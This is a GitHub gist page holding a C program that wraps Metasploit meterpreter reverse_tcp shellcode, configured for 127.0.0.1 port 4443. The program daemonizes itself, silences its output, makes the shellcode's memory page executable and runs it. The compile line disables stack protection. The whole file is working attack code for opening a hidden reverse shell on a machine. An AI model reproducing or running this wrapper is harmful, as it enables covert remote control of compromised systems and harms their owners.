Skip to content

Instantly share code, notes, and snippets.

@darkerego
Created April 29, 2018 00:26
Show Gist options
  • Save darkerego/4023793bf7a3e326a82ea3e46d6ccd22 to your computer and use it in GitHub Desktop.
Save darkerego/4023793bf7a3e326a82ea3e46d6ccd22 to your computer and use it in GitHub Desktop.
wrapper for msf shellcode
/*
Deamonized ShellCode Wrapper
To compile:
$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/stat.h>
/*
* linux/x64/meterpreter/reverse_tcp
* 127.0.0.1 4443
*/
unsigned char buf []=
"\x48\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\xb2\x07\x0f\x05\x48\x85\xc0\x78\x5b\x6a\x0a"
"\x41\x59\x56\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f"
"\x05\x48\x85\xc0\x78\x44\x48\x97\x48\xb9\x02\x00\x11\x5b\x7f"
"\x00\x00\x01\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05"
"\x48\x85\xc0\x79\x1b\x49\xff\xc9\x74\x22\x6a\x23\x58\x6a\x00"
"\x6a\x05\x48\x89\xe7\x48\x31\xf6\x0f\x05\x48\x85\xc0\x79\xb7"
"\xeb\x0c\x59\x5e\x5a\x0f\x05\x48\x85\xc0\x78\x02\xff\xe6\x6a"
"\x3c\x58\x6a\x01\x5f\x0f\x05";
#define EXIT_SUCCESS 0
#define EXIT_FAILURE 1
static void daemonize(void)
{
pid_t pid, sid;
/* already a daemon */
if ( getppid() == 1 ) return;
/* Fork off the parent process */
pid = fork();
if (pid < 0) {
exit(EXIT_FAILURE);
}
/* If we got a good PID, then we can exit the parent process. */
if (pid > 0) {
exit(EXIT_SUCCESS);
}
/* At this point we are executing as the child process */
/* Change the file mode mask */
umask(0);
/* Create a new SID for the child process */
sid = setsid();
if (sid < 0) {
exit(EXIT_FAILURE);
}
/* Change the current working directory. This prevents the current
directory from being locked; hence not being able to remove it. */
if ((chdir("/")) < 0) {
exit(EXIT_FAILURE);
}
/* Redirect standard files to /dev/null */
freopen( "/dev/null", "r", stdin);
freopen( "/dev/null", "w", stdout);
freopen( "/dev/null", "w", stderr);
}
void main(int argc, char**argv)
{
daemonize();
void *addr = (void*)((unsigned long)buf & ((0UL - 1UL) ^ 0xfff));/*get memory page*/
int ans = mprotect(addr, 1, PROT_READ|PROT_WRITE|PROT_EXEC);/*set page attributes*/
if (ans)
{
exit(EXIT_FAILURE);
}
((void(*)(void))buf)();/*execute array*/
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment